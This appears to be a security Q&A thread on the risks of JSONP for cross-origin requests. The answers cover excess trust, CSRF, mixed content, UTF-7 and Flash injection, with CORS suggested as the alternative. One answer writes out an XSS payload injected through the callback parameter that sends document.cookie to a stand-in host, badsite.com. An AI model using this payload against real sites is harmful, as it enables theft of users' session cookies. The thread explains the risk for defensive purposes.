What are the security risks with JSONP? Is using JSONP in a new web application reasonable, from a security perspective, or is it better to use a different method for cross-origin web mashups?

If using JSONP is reasonable, what steps should I take to make sure I'm using it securely? If it's better to use something else, what would you recommend instead? (CORS?)

3 Answers 3


JSONP is a bit dodgy, from a security perspective:

  • Requires excessive trust. Suppose you have a page hosted on a.com and it uses JSONP to access services provided by b.org. This involves placing 100% trust in b.org. If b.org is malicious or buggy, it can subvert the security of the embedding page and all of the a.com origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.

    To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it's a feature, not a bug, but still...

  • CSRF vulnerabilities. You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain't exactly the cleanest solution you've ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (a.com) to obtain the proper CSRF token from the JSONP service (b.org). It gets messy.

  • Causes mixed-content warnings. Suppose we have a page hosted on https://a.com and it accesses a JSONP service on http://b.org. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from http://b.org).

  • User authentication gets ugly. If b.org wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (a.com) needs to first somehow give the user an opportunity to log into b.org in advance, before accessing b.org's JSONP service. Both sites need to coordinate.

I don't know whether web developers should be recommended to avoid JSONP for new web applications or not, but these aspects make CORS look pretty tempting.

See also What is the point of the same-domain rule for xmlhttprequest when script tags/JSONP can cross domains?

  • 2
    I wrote an answer with the security risks/concerns I know of, but I'm sure my knowledge of the subject is incomplete. I'd very much welcome answers from others ... including positions on whether new web applications should use JSONP or something else.
    – D.W.
    Commented Oct 31, 2012 at 21:15

The callback parameter may be an XSS vector

I found an answer on stackoverflow that filters the JSONP callback response. This is needed because the callback parameter can be manipulated into a XSS attack that steals CSRF tokens like this:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

UTF7 injections are possible if charset isn't included

If the header is not Content-Type: application/javascript; charset=utf-8 then UTF7 injections are possible.

Content-Type Selection may have an impact

Content type does affect the HTTP based compression of certain shared web hosts.

There is some functionality difference between what can be done in some browsers based on the Content-Type. I'll have to dig up the links from StackOverflow


The callback parameter may be a CSRF vector via Flash injection.

See http://quaxio.com/jsonp_handcrafted_flash_files/


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .